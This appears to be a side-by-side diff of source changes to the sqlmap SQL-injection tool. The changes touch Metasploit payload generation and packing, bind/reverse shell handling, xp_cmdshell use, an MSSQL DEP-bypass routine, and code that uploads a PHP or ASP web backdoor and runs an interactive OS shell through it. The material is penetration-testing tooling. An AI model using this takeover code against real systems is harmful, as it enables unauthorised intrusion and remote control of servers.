payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I) payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
self.__shellcodeFileP.close()
if payloadSize: if payloadSize:
payloadSize = payloadSize.group(1) payloadSize = payloadSize.group(1)
debugMsg = "the shellcode size is %s bytes" % payloadSize debugMsg = "the shellcode size is %s bytes" % payloadSize
logger.debug(debugMsg) logger.debug(debugMsg)
else: else:
raise sqlmapFilePathException, "failed to create the shellcode" errMsg = "failed to create the shellcode (%s)" % payloadStderr
raise sqlmapFilePathException, errMsg
self.__shellcodeFileP = open(self.__shellcodeFilePath, "rb") self.__shellcodeFP = open(self.__shellcodeFilePath, "rb")
self.__shellcodeString = self.__shellcodeFileP.read() self.__shellcodeString = self.__shellcodeFP.read()
self.__shellcodeFileP.close() self.__shellcodeFP.close()
os.unlink(self.__shellcodeFilePath) os.unlink(self.__shellcodeFilePath)
@@ -567,10 +591,10 @@ class Metasploit:
if kb.os == "Windows": if kb.os == "Windows":
self.exeFilePathLocal = "%s/sqlmapmsf%s.exe" % (conf.outputPath, self.__randStr) self.exeFilePathLocal = "%s/sqlmapmsf%s.exe" % (conf.outputPath, self.__randStr)
self.__fileFormat = "exe"
else: else:
self.exeFilePathLocal = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr) self.exeFilePathLocal = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
self.__fileFormat = "elf"
self.__exeFileP = open(self.exeFilePathLocal, "wb")
if initialize == True: if initialize == True:
self.__initVars() self.__initVars()
@@ -578,10 +602,10 @@ class Metasploit:
if self.payloadStr == None: if self.payloadStr == None:
self.__prepareIngredients() self.__prepareIngredients()
self.__forgeMsfPayloadCmd() self.__forgeMsfPayloadCmd("process", self.__fileFormat, self.exeFilePathLocal)
logger.debug("executing local command: %s" % self.__payloadCmd) logger.debug("executing local command: %s" % self.__payloadCmd)
process = execute(self.__payloadCmd, shell=True, stdout=self.__exeFileP, stderr=PIPE) process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X")) dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
pollProcess(process) pollProcess(process)
@@ -592,8 +616,6 @@ class Metasploit:
else: else:
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I) payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
self.__exeFileP.close()
os.chmod(self.exeFilePathLocal, stat.S_IRWXU) os.chmod(self.exeFilePathLocal, stat.S_IRWXU)
if payloadSize: if payloadSize:
@@ -602,7 +624,7 @@ class Metasploit:
packedSize = upx.pack(self.exeFilePathLocal) packedSize = upx.pack(self.exeFilePathLocal)
debugMsg = "the encoded payload size is %s bytes, " % payloadSize debugMsg = "the encoded payload size is %s bytes, " % payloadSize
if packedSize: if packedSize and packedSize != exeSize:
debugMsg += "as a compressed portable executable its size " debugMsg += "as a compressed portable executable its size "
debugMsg += "is %d bytes, decompressed it " % packedSize debugMsg += "is %d bytes, decompressed it " % packedSize
debugMsg += "was %s bytes large" % exeSize debugMsg += "was %s bytes large" % exeSize
@@ -612,7 +634,8 @@ class Metasploit:
logger.debug(debugMsg) logger.debug(debugMsg)
else: else:
raise sqlmapFilePathException, "failed to create the payload stager" errMsg = "failed to create the payload stager (%s)" % payloadStderr
raise sqlmapFilePathException, errMsg
def uploadMsfPayloadStager(self): def uploadMsfPayloadStager(self):
@@ -625,7 +648,7 @@ class Metasploit:
def pwn(self): def pwn(self):
self.__runMsfCli() self.__runMsfCli(exitfunc="process")
if self.connectionStr.startswith("bind"): if self.connectionStr.startswith("bind"):
self.__runMsfPayloadRemote() self.__runMsfPayloadRemote()
@@ -639,13 +662,14 @@ class Metasploit:
self.__initVars() self.__initVars()
self.__randFile = "sqlmapunc%s.txt" % randomStr(lowercase=True) self.__randFile = "sqlmapunc%s.txt" % randomStr(lowercase=True)
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.localIP, self.__randFile)
else:
self.uncPath = "\\\\%s\\%s" % (self.localIP, self.__randFile)
self.__forgeMsfConsoleResource() self.__forgeMsfConsoleResource()
self.__forgeMsfConsoleCmd() self.__forgeMsfConsoleCmd()
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile)
else:
self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile)
self.__runMsfConsole() self.__runMsfConsole()
debugMsg = "Metasploit Framework 3 console exited with return " debugMsg = "Metasploit Framework 3 console exited with return "

View File

@@ -25,7 +25,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os import os
import sys
import time import time
from subprocess import PIPE from subprocess import PIPE
@@ -49,11 +48,22 @@ class UPX:
""" """
def __initialize(self, srcFile, dstFile=None): def __initialize(self, srcFile, dstFile=None):
if "win" in PLATFORM: if "darwin" in PLATFORM:
self.__upxPath = "%s/upx/macosx/upx" % paths.SQLMAP_CONTRIB_PATH
elif "win" in PLATFORM:
self.__upxPath = "%s/upx/windows/upx.exe" % paths.SQLMAP_CONTRIB_PATH self.__upxPath = "%s/upx/windows/upx.exe" % paths.SQLMAP_CONTRIB_PATH
elif "linux" in PLATFORM: elif "linux" in PLATFORM:
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
else:
warnMsg = "unsupported platform for the compression tool "
warnMsg += "(upx), sqlmap will continue anyway"
logger.warn(warnMsg)
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
self.__upxCmd = "%s -9 -qq %s" % (self.__upxPath, srcFile) self.__upxCmd = "%s -9 -qq %s" % (self.__upxPath, srcFile)
if dstFile: if dstFile:
@@ -68,15 +78,25 @@ class UPX:
dataToStdout("\r[%s] [INFO] compression in progress " % time.strftime("%X")) dataToStdout("\r[%s] [INFO] compression in progress " % time.strftime("%X"))
pollProcess(process) pollProcess(process)
upxStderr = process.communicate()[1] upxStdout, upxStderr = process.communicate()
if upxStderr: warnMsg = "failed to compress the file"
logger.warn("failed to compress the file")
if "NotCompressibleException" in upxStdout:
warnMsg += " because you provided a Metasploit version above "
warnMsg += "3.3-dev revision 6681. This will not inficiate "
warnMsg += "the correct execution of sqlmap. It might "
warnMsg += "only slow down a bit the execution of sqlmap"
logger.info(warnMsg)
elif upxStderr:
logger.warn(warnMsg)
return None
else: else:
return os.path.getsize(srcFile) return os.path.getsize(srcFile)
return None
def unpack(self, srcFile, dstFile=None): def unpack(self, srcFile, dstFile=None):
pass pass

View File

@@ -217,4 +217,4 @@ class xp_cmdshell:
debugMsg += "output to" debugMsg += "output to"
logger.debug(debugMsg) logger.debug(debugMsg)
self.createSupportTbl(self.cmdTblName, self.tblField, "text") self.createSupportTbl(self.cmdTblName, self.tblField, "varchar(8000)")

View File

@@ -73,7 +73,7 @@ def bisection(payload, expression, length=None, charsetType=None):
if length == 0: if length == 0:
return 0, "" return 0, ""
showEta = conf.eta and length showEta = conf.eta and isinstance(length, int)
numThreads = min(conf.threads, length) numThreads = min(conf.threads, length)
threads = [] threads = []
@@ -140,38 +140,34 @@ def bisection(payload, expression, length=None, charsetType=None):
def downloadThread(): def downloadThread():
while True: try:
idxlock.acquire() while True:
idxlock.acquire()
if index[0] >= length: if index[0] >= length:
idxlock.release()
return
index[0] += 1
curidx = index[0]
idxlock.release() idxlock.release()
return charStart = time.time()
val = getChar(curidx)
index[0] += 1 if val == None:
curidx = index[0] raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
idxlock.release()
charStart = time.time() value[curidx-1] = val
val = getChar(curidx)
if val == None: if showEta:
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length) etaProgressUpdate(time.time() - charStart, index[0])
elif conf.verbose in ( 1, 2 ):
value[curidx-1] = val s = "".join([c or "_" for c in value])
iolock.acquire()
if showEta: dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
etaProgressUpdate(time.time() - charStart, index[0]) iolock.release()
elif conf.verbose in ( 1, 2 ):
s = "".join([c or "_" for c in value])
iolock.acquire()
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
iolock.release()
def downloadThreadProxy(numThread):
try:
downloadThread()
except (sqlmapConnectionException, sqlmapValueException), errMsg: except (sqlmapConnectionException, sqlmapValueException), errMsg:
conf.threadException = True conf.threadException = True
@@ -199,7 +195,7 @@ def bisection(payload, expression, length=None, charsetType=None):
# Start the threads # Start the threads
for numThread in range(numThreads): for numThread in range(numThreads):
thread = threading.Thread(target=downloadThreadProxy(numThread)) thread = threading.Thread(target=downloadThread)
thread.start() thread.start()
threads.append(thread) threads.append(thread)

View File

@@ -175,8 +175,9 @@ def __unionTestByNULLBruteforce(comment):
def __unionTestByOrderBy(comment): def __unionTestByOrderBy(comment):
columns = None columns = None
value = None value = None
prevPayload = ""
for count in range(1, 51): for count in range(1, 51):
query = agent.prefixQuery(" ORDER BY %d" % count) query = agent.prefixQuery(" ORDER BY %d" % count)

View File

@@ -29,14 +29,11 @@ import time
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import parseUnionPage from lib.core.common import parseUnionPage
from lib.core.common import readInput
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import queries from lib.core.data import queries
from lib.core.data import temp from lib.core.data import temp
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.session import setUnion
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest from lib.techniques.inband.union.test import unionTest
@@ -202,7 +199,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
field = expressionFieldsList[0] field = expressionFieldsList[0]
elif kb.dbms == "Oracle": elif kb.dbms == "Oracle":
field = expressionFieldsList field = expressionFieldsList
else: else:
field = None field = None
@@ -222,6 +219,8 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
query = agent.forgeInbandQuery(expression, nullChar=nullChar) query = agent.forgeInbandQuery(expression, nullChar=nullChar)
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
# NOTE: for debug purposes only
#debugMsg = "query: %s" % payload
debugMsg = "query: %s" % query debugMsg = "query: %s" % query
logger.debug(debugMsg) logger.debug(debugMsg)

View File

@@ -32,7 +32,6 @@ from lib.core.convert import urlencode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.exception import sqlmapConnectionException from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapRegExprException
class Google: class Google:
@@ -84,9 +83,9 @@ class Google:
try: try:
conn = self.opener.open("http://www.google.com/ncr") conn = self.opener.open("http://www.google.com/ncr")
headers = conn.info() _ = conn.info()
except urllib2.HTTPError, e: except urllib2.HTTPError, e:
headers = e.info() _ = e.info()
except urllib2.URLError, e: except urllib2.URLError, e:
errMsg = "unable to connect to Google" errMsg = "unable to connect to Google"
raise sqlmapConnectionException, errMsg raise sqlmapConnectionException, errMsg

View File

@@ -28,15 +28,11 @@ import os
import time import time
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import dataToOutFile
from lib.core.common import dataToStdout
from lib.core.common import formatDBMSfp from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp from lib.core.common import getHtmlErrorFp
from lib.core.common import getRange from lib.core.common import getRange
from lib.core.common import randomInt
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.convert import urlencode from lib.core.convert import urlencode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
@@ -48,11 +44,9 @@ from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setDbms from lib.core.session import setDbms
from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MSSQL_SYSTEM_DBS from lib.core.settings import MSSQL_SYSTEM_DBS
from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request import inject from lib.request import inject
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.techniques.outband.stacked import stackedTest
from plugins.generic.enumeration import Enumeration from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem from plugins.generic.filesystem import Filesystem
@@ -198,7 +192,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
logger.info(infoMsg) logger.info(infoMsg)
for version in ( 0, 5, 8 ): for version in ( 0, 5, 8 ):
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d" % version) payload = agent.fullPayload(" AND ( ( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d ) )" % (version, version))
result = Request.queryPage(payload) result = Request.queryPage(payload)
if result == True: if result == True:
@@ -212,6 +206,11 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
break break
elif version == 0:
kb.dbmsVersion = [ "2000" ]
break
else: else:
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 22, 1)=7") payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 22, 1)=7")
result = Request.queryPage(payload) result = Request.queryPage(payload)
@@ -516,7 +515,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
wFilePointer.close() wFilePointer.close()
if wFileSize < debugSize: if wFileSize < debugSize:
chunkName = self.updateBinChunk(wFileContent, dFile, tmpPath) chunkName = self.updateBinChunk(wFileContent, tmpPath)
sFile = "%s\%s" % (tmpPath, dFileName) sFile = "%s\%s" % (tmpPath, dFileName)
logger.debug("moving binary file %s to %s" % (sFile, dFile)) logger.debug("moving binary file %s to %s" % (sFile, dFile))
@@ -542,7 +541,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
for i in range(0, wFileSize, debugSize): for i in range(0, wFileSize, debugSize):
wFileChunk = wFileContent[i:i+debugSize] wFileChunk = wFileContent[i:i+debugSize]
chunkName = self.updateBinChunk(wFileChunk, dFile, tmpPath) chunkName = self.updateBinChunk(wFileChunk, tmpPath)
if i == 0: if i == 0:
infoMsg = "renaming chunk " infoMsg = "renaming chunk "
@@ -591,36 +590,19 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
def overflowBypassDEP(self): def overflowBypassDEP(self):
# TODO: use 'sc' to:
# * Get the SQL Server 'Service name' (usually MSSQLSERVER)
# * Detect the absolute SQL Server executable file path
#
# References:
# * http://www.ss64.com/nt/sc.html
# * http://www.ss64.com/nt/for_cmd.html
self.handleDep("C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe") self.handleDep("C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe")
if self.bypassDEP == False: if self.bypassDEP == False:
return return
else:
logger.info("restarting Microsoft SQL Server, wait..") warnMsg = "sqlmap tried to add the expection for "
time.sleep(15) warnMsg += "'sqlservr.exe' within the registry, but will not "
# TODO: use 'sc' to: warnMsg += "restart the MSSQLSERVER process to avoid denial "
# * Warn the user that sqlmap needs to restart the SQL Server warnMsg += "of service. The buffer overflow trigger could not "
# service, ask for confirmation warnMsg += "work, however sqlmap will give it a try. Soon "
# * Stop the SQL Server service (after handling DEP) warnMsg += "it will come a new MS09-004 exploit to "
# * Start the SQL Server service (after handling DEP) warnMsg += "automatically bypass DEP."
logger.warn(warnMsg)
# Another way to restart MSSQL consists of writing a bat file with
# the following text:
#
#@ECHO OFF
#NET STOP MSSQLSERVER
#NET START MSSQLSERVER
#
# Then run the following statement and wait a few seconds:
#
# exec master..xp_cmdshell 'start C:\WINDOWS\Temp\sqlmaprandom.bat'
def spHeapOverflow(self): def spHeapOverflow(self):

View File

@@ -28,7 +28,6 @@ import os
import re import re
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import fileToStr
from lib.core.common import formatDBMSfp from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp from lib.core.common import getHtmlErrorFp
@@ -49,7 +48,6 @@ from lib.request import inject
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest from lib.techniques.inband.union.test import unionTest
from lib.techniques.inband.union.use import unionUse from lib.techniques.inband.union.use import unionUse
from lib.techniques.outband.stacked import stackedTest
from plugins.generic.enumeration import Enumeration from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem from plugins.generic.filesystem import Filesystem
@@ -148,15 +146,16 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return None return None
# MySQL valid versions updated on 02/2009 # MySQL valid versions updated on 05/2009
versions = ( versions = (
(32200, 32233), # MySQL 3.22 (32200, 32233), # MySQL 3.22
(32300, 32359), # MySQL 3.23 (32300, 32359), # MySQL 3.23
(40000, 40031), # MySQL 4.0 (40000, 40031), # MySQL 4.0
(40100, 40122), # MySQL 4.1 (40100, 40122), # MySQL 4.1
(50000, 50077), # MySQL 5.0 (50000, 50077), # MySQL 5.0
(50100, 50132), # MySQL 5.1 (50100, 50134), # MySQL 5.1
(60000, 60009), # MySQL 6.0 (50400, 50401), # MySQL 5.4
(60000, 60010), # MySQL 6.0
) )
for element in versions: for element in versions:
@@ -208,7 +207,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
value += actVer value += actVer
return value return value
# TODO: comment injection fingerprint is broken, fix
comVer = self.__commentCheck() comVer = self.__commentCheck()
blank = " " * 15 blank = " " * 15
value += "active fingerprint: %s" % actVer value += "active fingerprint: %s" % actVer

View File

@@ -34,6 +34,7 @@ from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import sqlmapSyntaxException from lib.core.exception import sqlmapSyntaxException
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setDbms from lib.core.session import setDbms
from lib.core.settings import ORACLE_ALIASES from lib.core.settings import ORACLE_ALIASES
from lib.core.settings import ORACLE_SYSTEM_DBS from lib.core.settings import ORACLE_SYSTEM_DBS

View File

@@ -48,7 +48,6 @@ from lib.core.settings import PGSQL_SYSTEM_DBS
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request import inject from lib.request import inject
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.techniques.outband.stacked import stackedTest
from plugins.generic.enumeration import Enumeration from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem from plugins.generic.filesystem import Filesystem
@@ -302,8 +301,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
def stackedReadFile(self, rFile): def stackedReadFile(self, rFile):
# TODO: write a UDF to retrieve the hexadecimal encoded content of
# the requested file
warnMsg = "binary file read on PostgreSQL is not yet supported, " warnMsg = "binary file read on PostgreSQL is not yet supported, "
warnMsg += "if the requested file is binary, its content will not " warnMsg += "if the requested file is binary, its content will not "
warnMsg += "be retrieved" warnMsg += "be retrieved"

View File

@@ -30,6 +30,7 @@ from lib.core.agent import agent
from lib.core.common import getRange from lib.core.common import getRange
from lib.core.common import parsePasswordHash from lib.core.common import parsePasswordHash
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.convert import urlencode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
@@ -38,7 +39,6 @@ from lib.core.data import temp
from lib.core.dump import dumper from lib.core.dump import dumper
from lib.core.exception import sqlmapMissingMandatoryOptionException from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapNoneDataException from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUndefinedMethod
from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setOs from lib.core.session import setOs
from lib.core.settings import SQL_STATEMENTS from lib.core.settings import SQL_STATEMENTS
@@ -46,7 +46,6 @@ from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.parse.banner import bannerParser from lib.parse.banner import bannerParser
from lib.request import inject from lib.request import inject
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest from lib.techniques.inband.union.test import unionTest
from lib.techniques.outband.stacked import stackedTest from lib.techniques.outband.stacked import stackedTest
@@ -1000,7 +999,7 @@ class Enumeration:
if conf.dumpAll: if conf.dumpAll:
logger.warn(errMsg) logger.warn(errMsg)
return kb.data.dumpedTable return None
else: else:
raise sqlmapNoneDataException, errMsg raise sqlmapNoneDataException, errMsg
@@ -1062,7 +1061,7 @@ class Enumeration:
if conf.dumpAll: if conf.dumpAll:
logger.warn(errMsg) logger.warn(errMsg)
return kb.data.dumpedTable return None
else: else:
raise sqlmapNoneDataException, errMsg raise sqlmapNoneDataException, errMsg
@@ -1097,7 +1096,6 @@ class Enumeration:
def sqlQuery(self, query): def sqlQuery(self, query):
output = None output = None
selectQuery = True
sqlType = None sqlType = None
for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
@@ -1105,9 +1103,6 @@ class Enumeration:
if query.lower().startswith(sqlStatement): if query.lower().startswith(sqlStatement):
sqlType = sqlTitle sqlType = sqlTitle
if sqlTitle != "SQL SELECT statement":
selectQuery = False
break break
message = "do you want to retrieve the SQL statement output? " message = "do you want to retrieve the SQL statement output? "
@@ -1122,6 +1117,8 @@ class Enumeration:
return output return output
else: else:
query = urlencode(query, convall=True)
if kb.stackedTest == None: if kb.stackedTest == None:
stackedTest() stackedTest()

View File

@@ -31,10 +31,8 @@ from lib.core.agent import agent
from lib.core.common import dataToOutFile from lib.core.common import dataToOutFile
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject from lib.request import inject
from lib.techniques.outband.stacked import stackedTest from lib.techniques.outband.stacked import stackedTest
@@ -50,33 +48,21 @@ class Filesystem:
def __unbase64String(self, base64Str): def __unbase64String(self, base64Str):
unbase64Str = "" unbase64Str = "%s\n" % base64Str.decode("base64")
if isinstance(base64Str, (list, tuple, set)):
for chunk in base64Str:
if isinstance(chunk, (list, tuple, set)):
chunk = chunk[0]
unbase64Str += "%s\n" % chunk.decode("base64")
else:
unbase64Str = "%s\n" % base64Str.decode("base64")
return unbase64Str return unbase64Str
def __unhexString(self, hexStr): def __unhexString(self, hexStr):
unhexStr = "" if len(hexStr) % 2 != 0:
errMsg = "for some reasons sqlmap retrieved an odd-length "
errMsg += "hexadecimal string which it is not able to convert "
errMsg += "to raw string"
logger.error(errMsg)
if isinstance(hexStr, (list, tuple, set)): return hexStr
for chunk in hexStr:
if isinstance(chunk, (list, tuple, set)):
chunk = chunk[0]
unhexStr += binascii.unhexlify(chunk) return binascii.unhexlify(hexStr)
else:
unhexStr = binascii.unhexlify(hexStr)
return unhexStr
def __binDataToScr(self, binaryData, chunkName): def __binDataToScr(self, binaryData, chunkName):
@@ -215,7 +201,7 @@ class Filesystem:
return fcEncodedList return fcEncodedList
def updateBinChunk(self, binaryData, dFile, tmpPath): def updateBinChunk(self, binaryData, tmpPath):
""" """
Called by Microsoft SQL Server plugin to write a binary file on the Called by Microsoft SQL Server plugin to write a binary file on the
back-end DBMS underlying file system back-end DBMS underlying file system
@@ -295,10 +281,20 @@ class Filesystem:
fileContent = self.stackedReadFile(rFile) fileContent = self.stackedReadFile(rFile)
if fileContent == None: if fileContent in ( None, "" ):
self.cleanup(onlyFileTbl=True) self.cleanup(onlyFileTbl=True)
return return
elif isinstance(fileContent, (list, tuple, set)):
newFileContent = ""
for chunk in fileContent:
if isinstance(chunk, (list, tuple, set)):
chunk = chunk[0]
newFileContent += chunk
fileContent = newFileContent
if kb.dbms in ( "MySQL", "Microsoft SQL Server" ): if kb.dbms in ( "MySQL", "Microsoft SQL Server" ):
fileContent = self.__unhexString(fileContent) fileContent = self.__unhexString(fileContent)

View File

@@ -33,7 +33,7 @@ class Fingerprint:
""" """
@staticmethod @staticmethod
def unescape(expression): def unescape(expression, quote=True):
errMsg = "'unescape' method must be defined " errMsg = "'unescape' method must be defined "
errMsg += "into the specific DBMS plugin" errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg raise sqlmapUndefinedMethod, errMsg

View File

@@ -24,12 +24,16 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
import re import re
from lib.core.common import getDirectories from lib.core.agent import agent
from lib.core.common import fileToStr
from lib.core.common import getDirs
from lib.core.common import getDocRoot
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.convert import urlencode from lib.core.convert import hexencode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
@@ -59,13 +63,12 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
def __webBackdoorRunCmd(self, backdoorUrl, cmd): def __webBackdoorRunCmd(self, backdoorUrl, cmd):
"""
TODO: complete review of this code is needed
"""
output = None output = None
cmdUrl = "%s?cmd=%s" % (backdoorUrl, conf.osCmd) if not cmd:
cmd = conf.osCmd
cmdUrl = "%s?cmd=%s" % (backdoorUrl, cmd)
page, _ = Request.getPage(url=cmdUrl, direct=True) page, _ = Request.getPage(url=cmdUrl, direct=True)
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S) output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
@@ -77,98 +80,113 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
return output return output
def __webBackdoorOsShell(self): def __webBackdoorShell(self, backdoorUrl):
""" infoMsg = "calling OS shell. To quit type "
TODO: complete review of this code is needed infoMsg += "'x' or 'q' and press ENTER"
This method is used to write a PHP agent (cmd.php) on a writable
remote directory within the web server document root.
Such agent is written using the INTO OUTFILE MySQL DBMS
functionality
@todo:
* Add a web application crawling functionality to detect
all (at least most) web server directories and merge with
Google results if the target host is a publicly available
hostname or IP address;
* Extend the agent to other interpreters rather than only PHP:
ASP, JSP, CGI (Python, Perl, Ruby, Bash).
"""
infoMsg = "retrieving web application directories"
logger.info(infoMsg) logger.info(infoMsg)
directories = getDirectories() autoCompletion(osShell=True)
if directories: while True:
infoMsg = "retrieved web server directories " command = None
infoMsg += "'%s'" % ", ".join(d for d in directories)
logger.info(infoMsg)
message = "in addition you can provide a list of directories " try:
message += "absolute path comma separated that you want sqlmap " command = raw_input("os-shell> ")
message += "to try to upload the agent [/var/www/test]: " except KeyboardInterrupt:
inputDirs = readInput(message, default="/var/www/test") print
else: errMsg = "user aborted"
message = "please provide the web server document root [/var/www]: " logger.error(errMsg)
inputDocRoot = readInput(message, default="/var/www") except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
if inputDocRoot: if not command:
kb.docRoot = inputDocRoot continue
else:
kb.docRoot = "/var/www"
message = "please provide a list of directories absolute path " if command.lower() in ( "x", "q", "exit", "quit" ):
message += "comma separated that you want sqlmap to try to " break
message += "upload the agent [/var/www/test]: "
inputDirs = readInput(message, default="/var/www/test")
if inputDirs: self.__webBackdoorRunCmd(backdoorUrl, command)
inputDirs = inputDirs.replace(", ", ",")
inputDirs = inputDirs.split(",")
for inputDir in inputDirs:
directories.add(inputDir) def __webBackdoorInit(self):
else: """
directories.add("/var/www/test") This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
self.checkDbmsOs()
backdoorUrl = None
language = None
kb.docRoot = getDocRoot()
directories = getDirs()
directories = list(directories)
directories.sort()
infoMsg = "trying to upload the uploader agent" infoMsg = "trying to upload the uploader agent"
logger.info(infoMsg) logger.info(infoMsg)
directories = list(directories) message = "which web application language does the web server "
directories.sort() message += "support?\n"
uploaded = False message += "[1] ASP\n"
message += "[2] PHP (default)\n"
message += "[3] JSP"
backdoorName = "backdoor.php" while True:
choice = readInput(message, default="2")
if not choice or choice == "2":
language = "php"
break
elif choice == "1":
language = "asp"
break
elif choice == "3":
# TODO: add also JSP backdoor/uploader support
errMsg = "JSP web backdoor functionality is not yet "
errMsg += "implemented"
raise sqlmapUnsupportedDBMSException, errMsg
#language = "jsp"
#break
elif not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > 3:
logger.warn("invalid value, it must be 1 or 3")
backdoorName = "backdoor.%s" % language
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName) backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
uploaderName = "uploader.php" uploaderName = "uploader.%s" % language
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName)) uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
for directory in directories: for directory in directories:
if uploaded:
break
